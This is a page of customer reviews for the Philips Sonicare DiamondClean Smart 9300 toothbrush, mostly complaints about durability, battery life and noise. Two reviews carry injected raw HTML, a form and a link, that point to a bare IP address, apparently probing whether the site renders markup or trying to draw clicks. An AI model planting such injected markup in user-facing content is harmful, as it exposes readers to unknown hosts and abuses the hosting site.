DiamondClean Smart 9300 Electric Toothbrush White

I received my toothbrush for Christmas 2025 it's already not working. . Way too expensive

The post connecting to the toothbrush head WILL fail, it's not a matter of if but when.

<form action='http://96.62.143.209:8099/?t=usa-review'><button>go</button></form> This toothbrush cleans well and I use it daily with good results overall after several weeks.

<a href=http://96.62.143.209:8099/?t=usa-review>click</a> This toothbrush cleans well and I use it daily with good results overall after several weeks.

[This review was collected as part of a promotion.] One of the best electric toothbrushes I have had. Love the choice setting for different levels of power.

[This review was collected as part of a promotion.] The 9300 I bought less than two years ago crapped out so I needed to replace it. I hope this one performs like previous ones that would last five years, not like the one it is replacing.

Hate the 20 second pacing timer. Bring back option for 30 second timer! Who brushes their teeth that way, going 1/3 of the way across, switching, coming back to middle third, etc? Battery doesn't seem to last 14 days, more like 8. And new travel case is both overly large and the new built-in charging cable as less convenient than previous case that was smaller and allowed to plug in your own cable. Feels like a step backwards. Otherwise, does a great job of cleaning, and love the charging glass, so convenient.

[This review was collected as part of a promotion.] My teeth are feeling so amazing after just one month of using it!

This toothbrush works ok, but, right out of the box, it is entirely too noisy! I also have the Prestige S-IQ model from 5 years ago, and that one just hums, not the obnoxious sound that this new one makes!

My experience with this toothbrush was quite terrible. It had a hard time holding a charge, the base for charging was annoying to deal with, and the actual toothbrush made a loud, unusual buzzing sound whenever I used it. Also, after I switched to the second toothbrush head, the head would not stay on when vibrating. So then I switched back to the old head, which worked for a little bit, but then I noticed that the vibration wasn’t even spinning the bristles consistently. Every time I turned on the toothbrush it would sporadically shift the amount of vibration without adjusting the settings. The power button was also designed to catch toothpaste that became difficult to clean and maintain. Even though Philips is willing to troubleshoot and try to fix some of these problems, it’s not worth the hassle. Save your time and money and buy a different toothbrush.

[This review was collected as part of a promotion.] Was good while I had it but died after a year. Wouldn’t turn on again, switched out the cup charger for the stand one and still wouldn’t charge and threw it away. Went back to my oral B

In my opinion: Designed and engineered to fail. There is an metal angle that transmits power from the oscillating magnet to the brush head. This part is designed to fail due to metal fatigue. I have had a number of Sonicare toothbrushes fail (more than half a dozen) and this is always the failure point. Symptom is good vibration but vibration not making it through the brush head. Always outside the warranty period so Phillips Corp. will be very happy....